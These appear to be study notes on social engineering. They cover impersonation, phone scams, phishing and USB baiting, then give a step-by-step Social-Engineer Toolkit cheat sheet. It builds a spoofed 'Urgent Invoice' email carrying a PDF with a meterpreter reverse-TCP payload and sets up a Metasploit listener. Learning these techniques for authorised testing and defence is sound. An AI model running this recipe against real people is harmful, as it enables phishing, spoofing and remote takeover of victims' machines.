Social Engineering Attacks – Study Notes

□ Definition

- **Social engineering** is the art of manipulating people to disclose confidential information or perform actions that compromise security.
- These attacks can be:
    - **Technical** (e.g., phishing emails).
    - **Non-technical** (e.g., impersonation or physical infiltration).

Common Social Engineering Techniques

1. **Impersonation & Physical Access**
    - Example: Attacker wears a utility worker's uniform to gain access to restricted areas like a server room.
    - Goal: Exploit the natural tendency of people to be helpful or trusting.
2. **Phone-based Scams**
    - Example: A fake call from a "boss's assistant" to reset or disclose passwords.
    - Danger: Without proper policies, help desk workers may unknowingly aid attackers.
3. **Phishing Attacks**
    - Attacker pretends to be a trustworthy source via **email or digital communication**.
    - Goals:
        - Trick users into revealing login credentials.
        - Lure them to **malicious websites**.
        - Get them to **download infected attachments**.
    - Often found in spam folders with suspicious offers or urgent messages.

Real-World Pentesting Examples

- **Baiting**: Leaving infected USBs labeled "Payroll" in public spaces like parking lots or bathrooms.
    - Curious employees plug them in, compromising systems.

SET Spear-Phishing Attack Cheat Sheet

Step 1: Launch SET

Command:

root@kali:~# setoolkit

Accept disclaimer if prompted.

Step 2: Choose Attack Type

1. Social-Engineering Attacks [Enter 1]

2. Spear-Phishing Attack Vectors [Enter 1]

Step 3: Choose Attack Method

Perform a Mass Email Attack [Enter 1]

Step 4: Choose Email Template Type

Use a Pre-Defined Template [Enter 1] or Create a New One [Enter 2]

Step 5: Choose File Format Payload

Choose a format (e.g., PDF, DOC, EXE)

Example: PDF [Enter 1]

Step 6: Choose Payload

Example: windows/meterpreter/reverse_tcp [Enter 2]

Step 7: Set Payload Options

LHOST: Attacker IP (e.g., 192.168.1.100)

LPORT: Port (e.g., 4444)

Step 8: Name Your File

Example: invoice.pdf

SET Spear-Phishing Attack Cheat Sheet

Step 9: Choose Email Sending Method

1. Use own SMTP server

2. Gmail

3. Send email directly [Enter 3]

4. Sendmail binary

Step 10: Enter Target Email(s)

Single Email: victim@example.com

Mass Email: Provide .txt file with addresses

Step 11: Configure Email

From: hr@company.com

Subject: Urgent Invoice

Body: Please check the attached invoice.

Step 12: Listener Setup

SET auto-launches Metasploit with:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST <your IP>

set LPORT <your port>

exploit

Reminder

Only use in labs or with written authorization. Unauthorized use is illegal.